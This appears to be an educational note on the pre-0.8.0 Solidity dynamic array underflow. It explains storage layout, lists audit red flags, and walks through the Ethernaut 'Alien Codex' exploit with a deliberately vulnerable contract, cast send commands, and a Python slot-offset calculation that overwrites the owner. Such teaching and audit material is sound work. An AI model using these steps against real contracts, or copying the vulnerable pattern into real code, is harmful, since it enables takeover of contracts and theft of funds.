Dynamic Array Underflow

Theory

Before Solidity 0.8.0, dynamic arrays lacked length underflow protection. When a dynamic array's length was decreased below zero through array.length--, it would wrap around to 2^256 - 1, effectively granting write access to the entire contract storage.

Storage Layout Fundamentals

In Solidity, storage slots are 32-byte positions numbered from 0 to 2^256 - 1. Dynamic arrays store their length at a specific slot p, while their elements are stored starting at keccak256(p).

Example with a dynamic array at slot 1:

• Slot 1: stores the array length
• Slot keccak256(1): stores array[0]
• Slot keccak256(1) + 1: stores array[1]
• Slot keccak256(1) + n: stores array[n]

The Underflow Attack Vector

When array.length underflows from 0 to 2^256 - 1, the array theoretically spans the entire storage space. An attacker can then calculate offsets to overwrite any storage slot, including critical variables like contract ownership or access control flags.

Mathematical exploitation:

Target slot = keccak256(array_slot) + offset (mod 2^256)

By solving for the offset, an attacker can write to arbitrary storage locations through seemingly legitimate array access operations.

Practice

When auditing pre-0.8.0 contracts, scrutinize any code that allows users to decrease dynamic array lengths, particularly through operations like pop(), manual length--, or delete on array elements in certain contexts.

High-Risk Patterns

Look for contracts where:

• Users can trigger array length decrements without proper bounds checking
• Dynamic arrays are combined with privileged storage variables in the same contract
• Array manipulation functions lack require(array.length > 0) guards
• Manual storage slot calculations are performed

Even in modern Solidity, be cautious of:

• Inline assembly manipulating array lengths (sstore)
• Custom storage layouts bypassing compiler protections
• Legacy contract upgrades that preserve old vulnerable logic

pragma solidity ^0.5.0;

contract AlienCodex {
    address public owner;
    bool public contact;
    bytes32[] public codex;  // Slot 1
    
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    
    function makeContact() public {
        contact = true;
    }
    
    function record(bytes32 _content) public {
        require(contact);
        codex.push(_content);
    }
    
    function retract() public {
        require(contact);
        codex.length--;  // Underflow vulnerability
    }
    
    function revise(uint i, bytes32 _content) public {
        require(contact);
        codex[i] = _content;  // Arbitrary storage write
    }
}

cast send $CONTRACT_ADDRESS \
  "makeContact()" \
  --rpc-url $RPC_URL \
  --private-key $PK

cast send $CONTRACT_ADDRESS \
  "retract()" \
  --rpc-url $RPC_URL \
  --private-key $PK

from web3 import Web3

# Storage slot where codex data starts
array_data_slot = int(Web3.solidity_keccak(['uint256'], [1]).hex(), 16)

# Calculate offset to reach slot 0
target_slot = 0
offset = (2**256 - array_data_slot + target_slot) % (2**256)

print(f"Offset to overwrite owner: {hex(offset)}")

# Prepare the new owner address (your address, left-padded to 32 bytes)
NEW_OWNER="0x000000000000000000000000YOUR_ADDRESS_HERE"

cast send $CONTRACT_ADDRESS \
  "revise(uint256,bytes32)" \
  $OFFSET \
  $NEW_OWNER \
  --rpc-url $RPC_URL \
  --private-key $PK

Resources

Layout of State Variables in Storage Solidity 0.8.13 documentationdocs.soliditylang.org

SWC-124 - Smart Contract Weakness Classification (SWC)swcregistry.io

medium.commedium.com

Ethernaut Level 19 - Alien Codexblog.dixitaditya.com